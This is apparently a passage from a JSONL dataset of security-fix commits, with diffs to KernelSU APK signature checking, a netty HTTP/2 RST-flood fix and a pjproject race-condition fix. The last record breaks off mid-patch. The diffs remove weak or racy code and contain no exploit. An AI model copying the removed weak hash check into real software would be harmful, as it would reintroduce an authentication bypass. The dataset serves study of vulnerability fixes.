kmalloc(size, GFP_KERNEL);\n+\tif (!sdesc)\n+\t\treturn ERR_PTR(-ENOMEM);\n+\tsdesc->shash.tfm = alg;\n+\treturn sdesc;\n+}\n+\n+static int calc_hash(struct crypto_shash *alg, const unsigned char *data,\n+\t\t unsigned int datalen, unsigned char *digest)\n+{\n+\tstruct sdesc *sdesc;\n+\tint ret;\n+\n+\tsdesc = init_sdesc(alg);\n+\tif (IS_ERR(sdesc)) {\n+\t\tpr_info(\"can't alloc sdesc\\n\");\n+\t\treturn PTR_ERR(sdesc);\n+\t}\n+\n+\tret = crypto_shash_digest(&sdesc->shash, data, datalen, digest);\n+\tkfree(sdesc);\n+\treturn ret;\n+}\n+\n+static int ksu_sha256(const unsigned char *data, unsigned int datalen,\n+\t\tunsigned char *digest)\n+{\n+\tstruct crypto_shash *alg;\n+\tchar *hash_alg_name = \"sha256\";\n+\tint ret;\n+\n+\talg = crypto_alloc_shash(hash_alg_name, 0, 0);\n+\tif (IS_ERR(alg)) {\n+\t\tpr_info(\"can't alloc alg %s\\n\", hash_alg_name);\n+\t\treturn PTR_ERR(alg);\n+\t}\n+\tret = calc_hash(alg, data, datalen, digest);\n+\tcrypto_free_shash(alg);\n+\treturn ret;\n+}\n+\n+static bool check_block(struct file *fp, u32 *size4, loff_t *pos, u32 *offset,\n+\t\t\tunsigned expected_size, const char* expected_sha256)\n+{\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signer-sequence length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signer length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signed data length\n+\n+\t*offset += 0x4 * 3;\n+\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // digests-sequence length\n+\n+\t*pos += *size4;\n+\t*offset += 0x4 + *size4;\n+\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // certificates length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // certificate length\n+\t*offset += 0x4 * 2;\n+\n+\tif (*size4 == expected_size) {\n+\t\t*offset += *size4;\n+\n+\t\t#define CERT_MAX_LENGTH 1024\n+\t\tchar cert[CERT_MAX_LENGTH];\n+\t\tif (*size4 > CERT_MAX_LENGTH) {\n+\t\t\tpr_info(\"cert length overlimit\\n\");\n+\t\t\treturn false;\n+\t\t}\n+\t\tksu_kernel_read_compat(fp, cert, *size4, pos);\n+\t\tunsigned char digest[SHA256_DIGEST_SIZE];\n+\t\tif (IS_ERR(ksu_sha256(cert, *size4, digest))) {\n+\t\t\tpr_info(\"sha256 error\\n\");\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\tchar hash_str[SHA256_DIGEST_SIZE * 2 + 1];\n+\t\thash_str[SHA256_DIGEST_SIZE * 2] = '\\0';\n+\n+\t\tbin2hex(hash_str, digest, SHA256_DIGEST_SIZE);\n+\t\tpr_info(\"sha256: %s, expected: %s\\n\", hash_str, expected_sha256);\n+\t\tif (strcmp(expected_sha256, hash_str) == 0) {\n+\t\t\treturn true;\n+\t\t}\n+\t}\n+\treturn false;\n+}\n+\n+static __always_inline bool\n+check_v2_signature(char *path, unsigned expected_size, const char *expected_sha256)\n {\n \tunsigned char buffer[0x11] = { 0 };\n \tu32 size4;\n \tu64 size8, size_of_block;\n \n \tloff_t pos;\n+\tbool block_valid;\n+\n+\tconst int NOT_EXIST = 0;\n+\tconst int INVALID = 1;\n+\tconst int VALID = 2;\n+\tint v2_signing_status = NOT_EXIST;\n+\tint v3_signing_status = NOT_EXIST;\n \n-\tint sign = -1;\n \tint i;\n \tstruct file *fp = ksu_filp_open_compat(path, O_RDONLY, 0);\n \tif (IS_ERR(fp)) {\n@@ -25,7 +141,6 @@ check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n \t// disable inotify for this file\n \tfp->f_mode |= FMODE_NONOTIFY;\n \n-\tsign = 1;\n \t// https://en.wikipedia.org/wiki/Zip_(file_format)#End_of_central_directory_record_(EOCD)\n \tfor (i = 0;; ++i) {\n \t\tunsigned short n;\n@@ -64,73 +179,38 @@ check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n \tfor (;;) {\n \t\tuint32_t id;\n \t\tuint32_t offset;\n-\t\tksu_kernel_read_compat(fp, &size8, 0x8, &pos); // sequence length\n+\t\tksu_kernel_read_compat(fp, &size8, 0x8,\n+\t\t\t\t &pos); // sequence length\n \t\tif (size8 == size_of_block) {\n \t\t\tbreak;\n \t\t}\n \t\tksu_kernel_read_compat(fp, &id, 0x4, &pos); // id\n \t\toffset = 4;\n \t\tpr_info(\"id: 0x%08x\\n\", id);\n-\t\tif ((id ^ 0xdeadbeefu) == 0xafa439f5u ||\n-\t\t (id ^ 0xdeadbeefu) == 0x2efed62f) {\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // signer-sequence length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4, &pos); // signer length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // signed data length\n-\t\t\toffset += 0x4 * 3;\n-\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // digests-sequence length\n-\t\t\tpos += size4;\n-\t\t\toffset += 0x4 + size4;\n-\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // certificates length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // certificate length\n-\t\t\toffset += 0x4 * 2;\n-#if 0\n-\t\t\tint hash = 1;\n-\t\t\tsigned char c;\n-\t\t\tfor (i = 0; i < size4; ++i) {\n-\t\t\t\tksu_kernel_read_compat(fp, &c, 0x1, &pos);\n-\t\t\t\thash = 31 * hash + c;\n-\t\t\t}\n-\t\t\toffset += size4;\n-\t\t\tpr_info(\" size: 0x%04x, hash: 0x%08x\\n\", size4, ((unsigned) hash) ^ 0x14131211u);\n-#else\n-\t\t\tif (size4 == expected_size) {\n-\t\t\t\tint hash = 1;\n-\t\t\t\tsigned char c;\n-\t\t\t\tfor (i = 0; i < size4; ++i) {\n-\t\t\t\t\tksu_kernel_read_compat(fp, &c, 0x1, &pos);\n-\t\t\t\t\thash = 31 * hash + c;\n-\t\t\t\t}\n-\t\t\t\toffset += size4;\n-\t\t\t\tif ((((unsigned)hash) ^ 0x14131211u) ==\n-\t\t\t\t expected_hash) {\n-\t\t\t\t\tsign = 0;\n-\t\t\t\t\tbreak;\n-\t\t\t\t}\n-\t\t\t}\n-\t\t\t// don't try again.\n-\t\t\tbreak;\n-#endif\n+\t\tif (id == 0x7109871au) {\n+\t\t\tblock_valid = check_block(fp, &size4, &pos, &offset,\n+\t\t\t\t\t\t expected_size, expected_sha256);\n+\t\t\tv2_signing_status = block_valid ? VALID : INVALID;\n+\t\t} else if (id == 0xf05368c0u) {\n+\t\t\tblock_valid = check_block(fp, &size4, &pos, &offset,\n+\t\t\t\t\t\t expected_size, expected_sha256);\n+\t\t\tv3_signing_status = block_valid ? VALID : INVALID;\n \t\t}\n \t\tpos += (size8 - offset);\n \t}\n \n clean:\n \tfilp_close(fp, 0);\n \n-\treturn sign;\n+\treturn (v2_signing_status == NOT_EXIST && v3_signing_status == VALID) ||\n+\t (v2_signing_status == VALID && v3_signing_status == NOT_EXIST) ||\n+\t (v2_signing_status == VALID && v3_signing_status == VALID);\n }\n \n #ifdef CONFIG_KSU_DEBUG\n \n unsigned ksu_expected_size = EXPECTED_SIZE;\n-unsigned ksu_expected_hash = EXPECTED_HASH;\n+const char *ksu_expected_hash = EXPECTED_HASH;\n \n #include \"manager.h\"\n \n@@ -144,9 +224,10 @@ static int set_expected_size(const char *val, const struct kernel_param *kp)\n \n static int set_expected_hash(const char *val, const struct kernel_param *kp)\n {\n-\tint rv = param_set_uint(val, kp);\n+\tpr_info(\"set_expected_hash: %s\\n\", val);\n+\tint rv = param_set_charp(val, kp);\n \tksu_invalidate_manager_uid();\n-\tpr_info(\"ksu_expected_hash set to %x\\n\", ksu_expected_hash);\n+\tpr_info(\"ksu_expected_hash set to %s\\n\", ksu_expected_hash);\n \treturn rv;\n }\n \n@@ -157,22 +238,23 @@ static struct kernel_param_ops expected_size_ops = {\n \n static struct kernel_param_ops expected_hash_ops = {\n \t.set = set_expected_hash,\n-\t.get = param_get_uint,\n+\t.get = param_get_charp,\n+\t.free = param_free_charp,\n };\n \n module_param_cb(ksu_expected_size, &expected_size_ops, &ksu_expected_size,\n \t\tS_IRUSR | S_IWUSR);\n module_param_cb(ksu_expected_hash, &expected_hash_ops, &ksu_expected_hash,\n \t\tS_IRUSR | S_IWUSR);\n \n-int is_manager_apk(char *path)\n+bool is_manager_apk(char *path)\n {\n \treturn check_v2_signature(path, ksu_expected_size, ksu_expected_hash);\n }\n \n #else\n \n-int is_manager_apk(char *path)\n+bool is_manager_apk(char *path)\n {\n \treturn check_v2_signature(path, EXPECTED_SIZE, EXPECTED_HASH);\n }", "sections": [{"section": "@@ -1,20 +1,136 @@\n+#include \"linux/err.h\"\n #include \"linux/fs.h\"\n+#include \"linux/gfp.h\"\n+#include \"linux/kernel.h\"\n #include \"linux/moduleparam.h\"\n \n #include \"apk_sign.h\"\n #include \"klog.h\" // IWYU pragma: keep\n #include \"kernel_compat.h\"\n+#include \"crypto/hash.h\"\n+#include \"linux/slab.h\"\n+#include \"linux/version.h\"\n \n-static __always_inline int\n-check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n+#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 11, 0)\n+#include \"crypto/sha2.h\"\n+#else\n+#include \"crypto/sha.h\"\n+#endif\n+\n+struct sdesc {\n+\tstruct shash_desc shash;\n+\tchar ctx[];\n+};\n+\n+static struct sdesc *init_sdesc(struct crypto_shash *alg)\n+{\n+\tstruct sdesc *sdesc;\n+\tint size;\n+\n+\tsize = sizeof(struct shash_desc) + crypto_shash_descsize(alg);\n+\tsdesc = kmalloc(size, GFP_KERNEL);\n+\tif (!sdesc)\n+\t\treturn ERR_PTR(-ENOMEM);\n+\tsdesc->shash.tfm = alg;\n+\treturn sdesc;\n+}\n+\n+static int calc_hash(struct crypto_shash *alg, const unsigned char *data,\n+\t\t unsigned int datalen, unsigned char *digest)\n+{\n+\tstruct sdesc *sdesc;\n+\tint ret;\n+\n+\tsdesc = init_sdesc(alg);\n+\tif (IS_ERR(sdesc)) {\n+\t\tpr_info(\"can't alloc sdesc\\n\");\n+\t\treturn PTR_ERR(sdesc);\n+\t}\n+\n+\tret = crypto_shash_digest(&sdesc->shash, data, datalen, digest);\n+\tkfree(sdesc);\n+\treturn ret;\n+}\n+\n+static int ksu_sha256(const unsigned char *data, unsigned int datalen,\n+\t\tunsigned char *digest)\n+{\n+\tstruct crypto_shash *alg;\n+\tchar *hash_alg_name = \"sha256\";\n+\tint ret;\n+\n+\talg = crypto_alloc_shash(hash_alg_name, 0, 0);\n+\tif (IS_ERR(alg)) {\n+\t\tpr_info(\"can't alloc alg %s\\n\", hash_alg_name);\n+\t\treturn PTR_ERR(alg);\n+\t}\n+\tret = calc_hash(alg, data, datalen, digest);\n+\tcrypto_free_shash(alg);\n+\treturn ret;\n+}\n+\n+static bool check_block(struct file *fp, u32 *size4, loff_t *pos, u32 *offset,\n+\t\t\tunsigned expected_size, const char* expected_sha256)\n+{\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signer-sequence length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signer length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // signed data length\n+\n+\t*offset += 0x4 * 3;\n+\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // digests-sequence length\n+\n+\t*pos += *size4;\n+\t*offset += 0x4 + *size4;\n+\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // certificates length\n+\tksu_kernel_read_compat(fp, size4, 0x4, pos); // certificate length\n+\t*offset += 0x4 * 2;\n+\n+\tif (*size4 == expected_size) {\n+\t\t*offset += *size4;\n+\n+\t\t#define CERT_MAX_LENGTH 1024\n+\t\tchar cert[CERT_MAX_LENGTH];\n+\t\tif (*size4 > CERT_MAX_LENGTH) {\n+\t\t\tpr_info(\"cert length overlimit\\n\");\n+\t\t\treturn false;\n+\t\t}\n+\t\tksu_kernel_read_compat(fp, cert, *size4, pos);\n+\t\tunsigned char digest[SHA256_DIGEST_SIZE];\n+\t\tif (IS_ERR(ksu_sha256(cert, *size4, digest))) {\n+\t\t\tpr_info(\"sha256 error\\n\");\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\tchar hash_str[SHA256_DIGEST_SIZE * 2 + 1];\n+\t\thash_str[SHA256_DIGEST_SIZE * 2] = '\\0';\n+\n+\t\tbin2hex(hash_str, digest, SHA256_DIGEST_SIZE);\n+\t\tpr_info(\"sha256: %s, expected: %s\\n\", hash_str, expected_sha256);\n+\t\tif (strcmp(expected_sha256, hash_str) == 0) {\n+\t\t\treturn true;\n+\t\t}\n+\t}\n+\treturn false;\n+}\n+\n+static __always_inline bool\n+check_v2_signature(char *path, unsigned expected_size, const char *expected_sha256)\n {\n \tunsigned char buffer[0x11] = { 0 };\n \tu32 size4;\n \tu64 size8, size_of_block;\n \n \tloff_t pos;\n+\tbool block_valid;\n+\n+\tconst int NOT_EXIST = 0;\n+\tconst int INVALID = 1;\n+\tconst int VALID = 2;\n+\tint v2_signing_status = NOT_EXIST;\n+\tint v3_signing_status = NOT_EXIST;\n \n-\tint sign = -1;\n \tint i;\n \tstruct file *fp = ksu_filp_open_compat(path, O_RDONLY, 0);\n \tif (IS_ERR(fp)) {\n", "related": true}, {"section": "@@ -25,7 +141,6 @@ check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n \t// disable inotify for this file\n \tfp->f_mode |= FMODE_NONOTIFY;\n \n-\tsign = 1;\n \t// https://en.wikipedia.org/wiki/Zip_(file_format)#End_of_central_directory_record_(EOCD)\n \tfor (i = 0;; ++i) {\n \t\tunsigned short n;\n", "related": true}, {"section": "@@ -64,73 +179,38 @@ check_v2_signature(char *path, unsigned expected_size, unsigned expected_hash)\n \tfor (;;) {\n \t\tuint32_t id;\n \t\tuint32_t offset;\n-\t\tksu_kernel_read_compat(fp, &size8, 0x8, &pos); // sequence length\n+\t\tksu_kernel_read_compat(fp, &size8, 0x8,\n+\t\t\t\t &pos); // sequence length\n \t\tif (size8 == size_of_block) {\n \t\t\tbreak;\n \t\t}\n \t\tksu_kernel_read_compat(fp, &id, 0x4, &pos); // id\n \t\toffset = 4;\n \t\tpr_info(\"id: 0x%08x\\n\", id);\n-\t\tif ((id ^ 0xdeadbeefu) == 0xafa439f5u ||\n-\t\t (id ^ 0xdeadbeefu) == 0x2efed62f) {\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // signer-sequence length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4, &pos); // signer length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // signed data length\n-\t\t\toffset += 0x4 * 3;\n-\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // digests-sequence length\n-\t\t\tpos += size4;\n-\t\t\toffset += 0x4 + size4;\n-\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // certificates length\n-\t\t\tksu_kernel_read_compat(fp, &size4, 0x4,\n-\t\t\t\t &pos); // certificate length\n-\t\t\toffset += 0x4 * 2;\n-#if 0\n-\t\t\tint hash = 1;\n-\t\t\tsigned char c;\n-\t\t\tfor (i = 0; i < size4; ++i) {\n-\t\t\t\tksu_kernel_read_compat(fp, &c, 0x1, &pos);\n-\t\t\t\thash = 31 * hash + c;\n-\t\t\t}\n-\t\t\toffset += size4;\n-\t\t\tpr_info(\" size: 0x%04x, hash: 0x%08x\\n\", size4, ((unsigned) hash) ^ 0x14131211u);\n-#else\n-\t\t\tif (size4 == expected_size) {\n-\t\t\t\tint hash = 1;\n-\t\t\t\tsigned char c;\n-\t\t\t\tfor (i = 0; i < size4; ++i) {\n-\t\t\t\t\tksu_kernel_read_compat(fp, &c, 0x1, &pos);\n-\t\t\t\t\thash = 31 * hash + c;\n-\t\t\t\t}\n-\t\t\t\toffset += size4;\n-\t\t\t\tif ((((unsigned)hash) ^ 0x14131211u) ==\n-\t\t\t\t expected_hash) {\n-\t\t\t\t\tsign = 0;\n-\t\t\t\t\tbreak;\n-\t\t\t\t}\n-\t\t\t}\n-\t\t\t// don't try again.\n-\t\t\tbreak;\n-#endif\n+\t\tif (id == 0x7109871au) {\n+\t\t\tblock_valid = check_block(fp, &size4, &pos, &offset,\n+\t\t\t\t\t\t expected_size, expected_sha256);\n+\t\t\tv2_signing_status = block_valid ? VALID : INVALID;\n+\t\t} else if (id == 0xf05368c0u) {\n+\t\t\tblock_valid = check_block(fp, &size4, &pos, &offset,\n+\t\t\t\t\t\t expected_size, expected_sha256);\n+\t\t\tv3_signing_status = block_valid ? VALID : INVALID;\n \t\t}\n \t\tpos += (size8 - offset);\n \t}\n \n clean:\n \tfilp_close(fp, 0);\n \n-\treturn sign;\n+\treturn (v2_signing_status == NOT_EXIST && v3_signing_status == VALID) ||\n+\t (v2_signing_status == VALID && v3_signing_status == NOT_EXIST) ||\n+\t (v2_signing_status == VALID && v3_signing_status == VALID);\n }\n \n #ifdef CONFIG_KSU_DEBUG\n \n unsigned ksu_expected_size = EXPECTED_SIZE;\n-unsigned ksu_expected_hash = EXPECTED_HASH;\n+const char *ksu_expected_hash = EXPECTED_HASH;\n \n #include \"manager.h\"\n \n", "related": true}, {"section": "@@ -144,9 +224,10 @@ static int set_expected_size(const char *val, const struct kernel_param *kp)\n \n static int set_expected_hash(const char *val, const struct kernel_param *kp)\n {\n-\tint rv = param_set_uint(val, kp);\n+\tpr_info(\"set_expected_hash: %s\\n\", val);\n+\tint rv = param_set_charp(val, kp);\n \tksu_invalidate_manager_uid();\n-\tpr_info(\"ksu_expected_hash set to %x\\n\", ksu_expected_hash);\n+\tpr_info(\"ksu_expected_hash set to %s\\n\", ksu_expected_hash);\n \treturn rv;\n }\n \n", "related": false}, {"section": "@@ -157,22 +238,23 @@ static struct kernel_param_ops expected_size_ops = {\n \n static struct kernel_param_ops expected_hash_ops = {\n \t.set = set_expected_hash,\n-\t.get = param_get_uint,\n+\t.get = param_get_charp,\n+\t.free = param_free_charp,\n };\n \n module_param_cb(ksu_expected_size, &expected_size_ops, &ksu_expected_size,\n \t\tS_IRUSR | S_IWUSR);\n module_param_cb(ksu_expected_hash, &expected_hash_ops, &ksu_expected_hash,\n \t\tS_IRUSR | S_IWUSR);\n \n-int is_manager_apk(char *path)\n+bool is_manager_apk(char *path)\n {\n \treturn check_v2_signature(path, ksu_expected_size, ksu_expected_hash);\n }\n \n #else\n \n-int is_manager_apk(char *path)\n+bool is_manager_apk(char *path)\n {\n \treturn check_v2_signature(path, EXPECTED_SIZE, EXPECTED_HASH);\n }", "related": false}]} +{"owner": "netty", "repo": "netty", "language": "Java", "file_name": "codec-http2/src/test/java/io/netty/handler/codec/http2/Http2EmptyDataFrameConnectionDecoderTest.java", "commit_id": "58f75f665aa81a8cbcf6ffa74820042a285c5e61", "commit_message": "Merge pull request from GHSA-xpw8-rcwv-8f8p\n\nMotivation:\n\nIt's possible for a remote peer to overload a remote system by issue a huge amount of RST frames. While this is completely valid in terms of the RFC we need to limit the amount to protect against DDOS attacks.\n\nModifications:\n\nAdd protection against RST floods which is enabled by default.\n\nResult:\n\nProtect against DDOS caused by RST floods (CVE-2023-44487)", "patch": "@@ -14,47 +14,15 @@\n */\n package io.netty.handler.codec.http2;\n \n-import org.hamcrest.CoreMatchers;\n-import org.junit.jupiter.api.Test;\n-import org.mockito.ArgumentCaptor;\n-import org.mockito.invocation.InvocationOnMock;\n-import org.mockito.stubbing.Answer;\n+public class Http2EmptyDataFrameConnectionDecoderTest extends AbstractDecoratingHttp2ConnectionDecoderTest {\n \n-import static org.hamcrest.MatcherAssert.assertThat;\n-import static org.junit.jupiter.api.Assertions.assertNull;\n-import static org.mockito.Mockito.mock;\n-import static org.mockito.Mockito.verify;\n-import static org.mockito.Mockito.when;\n-\n-public class Http2EmptyDataFrameConnectionDecoderTest {\n-\n- @Test\n- public void testDecoration() {\n- Http2ConnectionDecoder delegate = mock(Http2ConnectionDecoder.class);\n- final ArgumentCaptor listenerArgumentCaptor =\n- ArgumentCaptor.forClass(Http2FrameListener.class);\n- when(delegate.frameListener()).then(new Answer() {\n- @Override\n- public Http2FrameListener answer(InvocationOnMock invocationOnMock) {\n- return listenerArgumentCaptor.getValue();\n- }\n- });\n- Http2FrameListener listener = mock(Http2FrameListener.class);\n- Http2EmptyDataFrameConnectionDecoder decoder = new Http2EmptyDataFrameConnectionDecoder(delegate, 2);\n- decoder.frameListener(listener);\n- verify(delegate).frameListener(listenerArgumentCaptor.capture());\n-\n- assertThat(decoder.frameListener(),\n- CoreMatchers.not(CoreMatchers.instanceOf(Http2EmptyDataFrameListener.class)));\n- assertThat(decoder.frameListener0(), CoreMatchers.instanceOf(Http2EmptyDataFrameListener.class));\n+ @Override\n+ protected DecoratingHttp2ConnectionDecoder newDecoder(Http2ConnectionDecoder decoder) {\n+ return new Http2EmptyDataFrameConnectionDecoder(decoder, 2);\n }\n \n- @Test\n- public void testDecorationWithNull() {\n- Http2ConnectionDecoder delegate = mock(Http2ConnectionDecoder.class);\n-\n- Http2EmptyDataFrameConnectionDecoder decoder = new Http2EmptyDataFrameConnectionDecoder(delegate, 2);\n- decoder.frameListener(null);\n- assertNull(decoder.frameListener());\n+ @Override\n+ protected Class delegatingFrameListenerType() {\n+ return Http2EmptyDataFrameListener.class;\n }\n }", "sections": [{"section": "@@ -14,47 +14,15 @@\n */\n package io.netty.handler.codec.http2;\n \n-import org.hamcrest.CoreMatchers;\n-import org.junit.jupiter.api.Test;\n-import org.mockito.ArgumentCaptor;\n-import org.mockito.invocation.InvocationOnMock;\n-import org.mockito.stubbing.Answer;\n+public class Http2EmptyDataFrameConnectionDecoderTest extends AbstractDecoratingHttp2ConnectionDecoderTest {\n \n-import static org.hamcrest.MatcherAssert.assertThat;\n-import static org.junit.jupiter.api.Assertions.assertNull;\n-import static org.mockito.Mockito.mock;\n-import static org.mockito.Mockito.verify;\n-import static org.mockito.Mockito.when;\n-\n-public class Http2EmptyDataFrameConnectionDecoderTest {\n-\n- @Test\n- public void testDecoration() {\n- Http2ConnectionDecoder delegate = mock(Http2ConnectionDecoder.class);\n- final ArgumentCaptor listenerArgumentCaptor =\n- ArgumentCaptor.forClass(Http2FrameListener.class);\n- when(delegate.frameListener()).then(new Answer() {\n- @Override\n- public Http2FrameListener answer(InvocationOnMock invocationOnMock) {\n- return listenerArgumentCaptor.getValue();\n- }\n- });\n- Http2FrameListener listener = mock(Http2FrameListener.class);\n- Http2EmptyDataFrameConnectionDecoder decoder = new Http2EmptyDataFrameConnectionDecoder(delegate, 2);\n- decoder.frameListener(listener);\n- verify(delegate).frameListener(listenerArgumentCaptor.capture());\n-\n- assertThat(decoder.frameListener(),\n- CoreMatchers.not(CoreMatchers.instanceOf(Http2EmptyDataFrameListener.class)));\n- assertThat(decoder.frameListener0(), CoreMatchers.instanceOf(Http2EmptyDataFrameListener.class));\n+ @Override\n+ protected DecoratingHttp2ConnectionDecoder newDecoder(Http2ConnectionDecoder decoder) {\n+ return new Http2EmptyDataFrameConnectionDecoder(decoder, 2);\n }\n \n- @Test\n- public void testDecorationWithNull() {\n- Http2ConnectionDecoder delegate = mock(Http2ConnectionDecoder.class);\n-\n- Http2EmptyDataFrameConnectionDecoder decoder = new Http2EmptyDataFrameConnectionDecoder(delegate, 2);\n- decoder.frameListener(null);\n- assertNull(decoder.frameListener());\n+ @Override\n+ protected Class delegatingFrameListenerType() {\n+ return Http2EmptyDataFrameListener.class;\n }\n }", "related": false}]} +{"owner": "pjsip", "repo": "pjproject", "language": "C", "file_name": "pjmedia/src/pjmedia/transport_udp.c", "commit_id": "6dc9b8c181aff39845f02b4626e0812820d4ef0d", "commit_message": "Merge pull request from GHSA-f76w-fh7c-pc66\n\n* Add group lock to media transport\n\n* Also add group lock to SRTP-DTLS\n\n* Put lock protection to avoid race condition between destroy() & dtls_on_recv()", "patch": "@@ -298,6 +298,7 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_pool_t *pool;\n pj_ioqueue_t *ioqueue;\n pj_ioqueue_callback rtp_cb, rtcp_cb;\n+ pj_grp_lock_t *grp_lock;\n pj_status_t status;\n \n \n@@ -348,18 +349,29 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_sockaddr_get_addr_len(&tp->rtp_addr_name));\n }\n \n+ /* Create group lock */\n+ status = pj_grp_lock_create(pool, NULL, &grp_lock);\n+ if (status != PJ_SUCCESS)\n+ goto on_error;\n+\n+ pj_grp_lock_add_ref(grp_lock);\n+ tp->base.grp_lock = grp_lock;\n+\n /* Setup RTP socket with the ioqueue */\n pj_bzero(&rtp_cb, sizeof(rtp_cb));\n rtp_cb.on_read_complete = &on_rx_rtp;\n rtp_cb.on_write_complete = &on_rtp_data_sent;\n \n- status = pj_ioqueue_register_sock(pool, ioqueue, tp->rtp_sock, tp,\n- &rtp_cb, &tp->rtp_key);\n+ status = pj_ioqueue_register_sock2(pool, ioqueue, tp->rtp_sock, grp_lock,\n+ tp, &rtp_cb, &tp->rtp_key);\n if (status != PJ_SUCCESS)\n goto on_error;\n \n /* Disallow concurrency so that detach() and destroy() are\n * synchronized with the callback.\n+ *\n+ * Note that we still need this even after group lock is added to\n+ * maintain the above behavior.\n */\n status = pj_ioqueue_set_concurrency(tp->rtp_key, PJ_FALSE);\n if (status != PJ_SUCCESS)\n@@ -388,8 +400,8 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_bzero(&rtcp_cb, sizeof(rtcp_cb));\n rtcp_cb.on_read_complete = &on_rx_rtcp;\n \n- status = pj_ioqueue_register_sock(pool, ioqueue, tp->rtcp_sock, tp,\n- &rtcp_cb, &tp->rtcp_key);\n+ status = pj_ioqueue_register_sock2(pool, ioqueue, tp->rtcp_sock, grp_lock,\n+ tp, &rtcp_cb, &tp->rtcp_key);\n if (status != PJ_SUCCESS)\n goto on_error;\n \n@@ -436,12 +448,13 @@ static pj_status_t transport_destroy(pjmedia_transport *tp)\n \n /* Must not close while application is using this */\n //PJ_ASSERT_RETURN(!udp->attached, PJ_EINVALIDOP);\n- \n+\n+ /* The following calls to pj_ioqueue_unregister() will block the execution\n+ * if callback is still being called because allow_concurrent is false.\n+ * So it is safe to release the pool immediately after.\n+ */\n \n if (udp->rtp_key) {\n- /* This will block the execution if callback is still\n- * being called.\n- */\n pj_ioqueue_unregister(udp->rtp_key);\n udp->rtp_key = NULL;\n udp->rtp_sock = PJ_INVALID_SOCKET;\n@@ -459,6 +472,8 @@ static pj_status_t transport_destroy(pjmedia_transport *tp)\n udp->rtcp_sock = PJ_INVALID_SOCKET;\n }\n \n+ pj_grp_lock_dec_ref(tp->grp_lock);\n+\n PJ_LOG(4,(udp->base.name, \"UDP media transport destroyed\"));\n pj_pool_release(udp->pool);\n ", "sections": [{"section": "@@ -298,6 +298,7 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_pool_t *pool;\n pj_ioqueue_t *ioqueue;\n pj_ioqueue_callback rtp_cb, rtcp_cb;\n+ pj_grp_lock_t *grp_lock;\n pj_status_t status;\n \n \n", "related": false}, {"section": "@@ -348,18 +349,29 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_sockaddr_get_addr_len(&tp->rtp_addr_name));\n }\n \n+ /* Create group lock */\n+ status = pj_grp_lock_create(pool, NULL, &grp_lock);\n+ if (status != PJ_SUCCESS)\n+ goto on_error;\n+\n+ pj_grp_lock_add_ref(grp_lock);\n+ tp->base.grp_lock = grp_lock;\n+\n /* Setup RTP socket with the ioqueue */\n pj_bzero(&rtp_cb, sizeof(rtp_cb));\n rtp_cb.on_read_complete = &on_rx_rtp;\n rtp_cb.on_write_complete = &on_rtp_data_sent;\n \n- status = pj_ioqueue_register_sock(pool, ioqueue, tp->rtp_sock, tp,\n- &rtp_cb, &tp->rtp_key);\n+ status = pj_ioqueue_register_sock2(pool, ioqueue, tp->rtp_sock, grp_lock,\n+ tp, &rtp_cb, &tp->rtp_key);\n if (status != PJ_SUCCESS)\n goto on_error;\n \n /* Disallow concurrency so that detach() and destroy() are\n * synchronized with the callback.\n+ *\n+ * Note that we still need this even after group lock is added to\n+ * maintain the above behavior.\n */\n status = pj_ioqueue_set_concurrency(tp->rtp_key, PJ_FALSE);\n if (status != PJ_SUCCESS)\n", "related": false}, {"section": "@@ -388,8 +400,8 @@ PJ_DEF(pj_status_t) pjmedia_transport_udp_attach( pjmedia_endpt *endpt,\n pj_bzero(&rtcp_cb, sizeof(rtcp_cb));\n rtcp_cb.on_read_complete = &on_rx_rtcp;\n \n- status = pj_ioqueue_register_sock(pool, ioqueue, tp->rtcp_sock, tp,\n- &rtcp_cb, &tp->rtcp_key);\n+ status = pj_ioqueue_register_sock2(pool, ioqueue, tp->rtcp_sock, grp_lock,\n+ tp, &rtcp_cb, &tp->rtcp_key);\n if (status != PJ_SUCCESS)\n goto on_error;\n \n", "related": false}, {"section": "@@ -436,12 +448,13 @@ static pj_status_t transport_destroy(pjmedia_transport *tp)\n \n /* Must not close while application is using this */\n //PJ_ASSERT_RETURN(!udp->attached, 